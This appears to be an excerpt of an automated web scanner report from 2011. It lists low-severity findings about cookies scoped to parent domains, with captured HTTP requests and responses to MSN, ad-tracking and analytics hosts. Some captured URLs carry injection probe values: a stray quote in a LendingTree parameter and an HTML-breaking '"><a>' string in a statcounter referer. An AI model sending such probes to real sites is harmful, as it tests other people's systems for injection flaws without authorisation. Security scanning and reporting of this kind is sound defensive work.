GET /BurstingPipe/ActivityServer.bs?cn=as&ActivityID=96597&rnd=909797.7089695632 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: u3=1; C4=; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ852G0000000003sS7dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: Sun, 05-Jun-2005 22:00:00 GMT Vary: Accept-Encoding Set-Cookie: ActivityInfo=000p81bBo%5f; expires=Tue, 03-May-2011 10:43:37 GMT; domain=.serving-sys.com; path=/ Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Tue, 03-May-2011 10:43:37 GMT; domain=.serving-sys.com; path=/ P3P: CP="NOI DEVa OUR BUS UNI" Date: Wed, 02 Feb 2011 15:43:37 GMT Connection: close Content-Length: 1639
var part0 = ''; part0 += "<"+"!--- start of TRACK_Lendingtree/Retargeting_Homepage_Nonsecure pixel tag --->\n"; part0 += "<"+"IMG SRC=\"http://network.realmedia.com/RealMedia/ads/adstream_nx.ads/TRAC ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /browseresources/articles/firststeps.aspx HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:38 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=85eb2c05b28e495690c312b9224a01fa; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=309A03F95CDC491FB935911E37ED14DA; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:38 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 35944
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /browseresources/articles/managingemployees.aspx?cp-documentid=26643311&source=msneditorial>1=25049 HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:41 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=49639c13297e45b088d53cc2947d18eb; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BFF6A2643B34482D9EFC461635B43FB3; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:41 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 48599
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /questions/default.aspx HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c5c42e124cd54cec96e54f5910b325c1; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=8088F9A7C2D749B8B22FA419A3CEDF24; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:34 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 32370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/coolrunnings.aspx HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:33 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c9503258c9294a319d8b55c4818f5954; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=CED44E4F52CF4A00855E3594E951B8B7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:33 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 70167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
_t=1686ac5e-2ee8-11e0-b7c7-00259009a9c2; Domain=chango.com; expires=Sat, 30 Jan 2021 16:18:36 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /collector/tag.js HTTP/1.1 Host: c.chango.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:18:36 GMT Content-Type: text/javascript Connection: close Content-Length: 1278 Server: TornadoServer/1.1 Etag: "0cd5cb47552a6946cb3570ced2fb9b2b235cf185" Pragma: no-cache Cache-Control: no-cache, no-store, max-age=0, must-revalidate P3P: policyref="http://as.chango.com/static/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _t=1686ac5e-2ee8-11e0-b7c7-00259009a9c2; Domain=chango.com; expires=Sat, 30 Jan 2021 16:18:36 GMT; Path=/ Set-Cookie: _i_admeld=1; Domain=chango.com; expires=Tue, 03 May 2011 16:18:36 GMT; Path=/
(new Image()).src = 'http://tag.admeld.com/match?admeld_adprovider_id=333&external_user_id=' + encodeURIComponent('1686ac5e-2ee8-11e0-b7c7-00259009a9c2');(new Image()).src = 'http://bid.openx.net/cm?p ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /t.php?sc_project=6453865&resolution=1920&h=1200&camefrom=http%3A//burp/show/10&u=http%3A//consumershealthyliving.com/clinical-study.html%3F15882%2522%253E%253Ca%253E3a9ae0f5291%3D1&t=Study%3A%20Wrinkles%20Gone!%2090%20Seconds&java=1&security=34ced6a6&sc_random=0.5129681851249188&sc_snum=1&invisible=1 HTTP/1.1 Host: c.statcounter.com Proxy-Connection: keep-alive Referer: http://consumershealthyliving.com/clinical-study.html?15882%22%3E%3Ca%3E3a9ae0f5291=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: is_unique=sc609958.1294848674.1-2495334.1296072601.0-1890207.1296398873.0
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:40:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.10 P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="ADMa OUR COM NAV NID DSP NOI COR" Expires: Mon, 26 Jul 1997 05:00:00 GMT Set-Cookie: is_unique=sc609958.1294848674.1-2495334.1296072601.0-1890207.1296398873.0-6453865.1296661235.0; expires=Mon, 01-Feb-2016 15:40:35 GMT; path=/; domain=.statcounter.com Content-Length: 49 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ver1.0/Direct/DirectProxy HTTP/1.1 Host: cdn-sitelife.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /apis/maps/terms.html HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/wiki/documentation HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
v1stsp=E67B5206FBADB2C7; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.atomz.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /static/scode/H.15.1/snpall/s_code.js HTTP/1.1 Host: content.atomz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:18:49 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=E67B5206FBADB2C7; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.atomz.com Cache-Control: max-age=315360000 Expires: Sat, 30 Jan 2021 19:18:49 GMT Last-Modified: Sun, 07 Sep 2008 17:06:26 GMT ETag: "610a04-47de-48c40a12" Accept-Ranges: bytes Content-Length: 18398 Content-Type: application/x-javascript Via: 1.1 content.atomz.com:84 X-Cache: MISS from content.atomz.com Connection: close
/* SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */ /************************ ADDITIONAL FEATURES ************************ P ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /v2/cexposer/SIG=13r09h5ct/*http:/ad.yieldmanager.com/imp HTTP/1.1 Host: cookex.amp.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:18:49 GMT Set-Cookie: B=4dl1ead6kjbgp&b=3&s=ii; expires=Tue, 02-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Vary: Accept-Encoding Connection: close Content-Type: text/plain; charset=utf-8 Cache-Control: private Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d1ec56b7612a62c&curl=http%3a%2f%2fwww.ehow.com%2fcomputer-software%2f HTTP/1.1 Host: cspix.media6degrees.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt1181qqxzt11kzqpxzt11kzqpxzt1181qq; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv1kzqp00t0v01060110s; orblb=2lfk1rn012dh10u0100000; rdrlst=2100so2ylebnns0000000t0v01060110s7dpletz4d0000000p0v01060110p10flfk1rn0000000e0v01060110emmnlebnns0000000t0v01060110s10elfk1rn0000000e0v01060110e10rlfwneh000000010v010601101x1blebnns0000000t0v01060110sxo1lebnns0000000t0v01060110seh5lf17qf0000000l0v01060110l6bylemlne0000000r0v01060110rw3clebnns0000000t0v01060110s7gmlebnns0000000t0v01060110sjv6lebnns0000000t0v01060110sj4ilew2e20000000n0v01060110nxthlebnns0000000t0v01060110sfullf8gij0000000h0v01060110h0c9lfk1rn0000000e0v01060110ejillebnns0000000t0v01060110sfuqlegh2b0000000s0v01060110sb6mlf17qk0000000k0v01060110kmz1lebnns0000000t0v01060110scajlfk1rn0000000e0v01060110ep7vlebnns0000000t0v01060110s7vglfk1rn0000000e0v01060110exvslebnns0000000t0v01060110s10rlfjpei0000000f0v01060110fxuklebnns0000000t0v01060110sjk7lebnns0000000t0v01060110sx1jlebnns0000000t0v01060110syiplebnns0000000t0v01060110scbnlfk1rn0000000e0v01060110exwflebnns0000000t0v01060110syh0lebnns0000000t0v01060110se4vlebnns0000000t0v01060110sxwblebnns0000000t0v01060110sjwblfk1rn0000000e0v01060110e; sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000j0v01060110j82gletz4d0pqa500a0l000400100ag2leqh19166d800q0v01060110q82hlebnns181qq00t0v01060110s9zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0000000f0v01060110f820lebnns181qq00e0l000400100b0olfjpei0000000f0v01060110fab4lebnns181qq00t0v01060110s9szlebnns181qq00t0v01060110s8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1g6c600s0v01060110sal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0000000f0v01060110f8bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns181qq00e0l000400100b08lfjpei0000000f0v01060110f40slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000g0v01060110g40uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; vstcnt=3lebnns020r024nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z1l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122s000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru00000000000000000000000004esx7120104tej
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: deals.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:31:32 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA52 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=3f8fd347c99547099a4814fa8b9e7293; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=1D770C0684124A3E8436F4C065609D19; domain=.msn.com; expires=Sat, 20-Aug-2011 15:31:32 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 34142
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /yui/compressor/ HTTP/1.1 Host: developer.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:18:43 GMT Set-Cookie: B=d39814h6kj0v3&b=3&s=tc; expires=Tue, 02-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 27146
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>YUI Compressor</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /plugins/ HTTP/1.1 Host: developers.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Location: http://developers.facebook.com/docs/plugins P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Set-Cookie: datr=5INJTTrko7Q6nSrVnX5GKofQ; expires=Fri, 01-Feb-2013 16:18:44 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=WT1SJ; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 16:18:44 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel/10236?data:|pdata:|logdata:st= HTTP/1.1 Host: dm.demdex.net Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:11:20 GMT Server: Apache/2.2.10 (Unix) Set-Cookie: DexLifeCycle=NEW01296659480101778|MTA4MDQ9MTo3NjI=|MA==|MA==|NjU4OTE0ODA=|MA==|MTA4MDQtMA==; path=/; expires=Sat, 30-Jan-21 15:11:20 GMT; domain=.dm.demdex.net Set-Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:20 GMT; domain=.demdex.net Set-Cookie: dm=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:20 GMT; domain=.dm.demdex.net Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Last-Modified: Tue, 12 Oct 2010 21:33:06 GMT ETag: "9dad3-134-4927238efa880" Accept-Ranges: bytes Content-Length: 308 P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Content-Type: image/jpeg
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /demdot.jpg?et:dpm|dpid:22|data:&location=texas&industry=business_services HTTP/1.1 Host: dpm.demdex.net Proxy-Connection: keep-alive Referer: http://fast.dm.demdex.net/dm-dest.html?bizo=1&bizovalidttl=7& Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==; bizo=1
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:11:28 GMT Server: Apache/2.2.10 (Unix) Set-Cookie: DexLifeCycle=NEW01296659488235797|MA==|MA==|MA==|NjU4OTE0ODg=|MA==|MA==; path=/; expires=Sat, 30-Jan-21 15:11:28 GMT; domain=.dpm.demdex.net Set-Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:28 GMT; domain=.demdex.net Set-Cookie: dpm=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:28 GMT; domain=.dpm.demdex.net Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Last-Modified: Tue, 12 Oct 2010 21:33:06 GMT ETag: "7adeb-134-4927238efa880" Accept-Ranges: bytes Content-Length: 308 P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Content-Type: image/jpeg
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /red/psi/p.json HTTP/1.1 Host: ds.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 267 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Tue, 01 Feb 2011 15:32:27 GMT; Path=/ Set-Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; Domain=.addthis.com; Expires=Mon, 02 May 2011 15:32:27 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Thu, 03 Mar 2011 15:32:27 GMT; Path=/ Set-Cookie: di=%7B%7D..1296574347.19F|1296574347.19A; Domain=.addthis.com; Expires=Thu, 31-Jan-2013 10:47:39 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Tue, 01 Feb 2011 15:32:27 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 01 Feb 2011 15:32:27 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/psi/sites/www.ehow.com/p.json?callback=_ate.ad.hpr&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.ehow.com%2Fcomputer-software%2F&ref=http%3A%2F%2Fburp%2Fshow%2F4&o1jt6o HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296507257.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
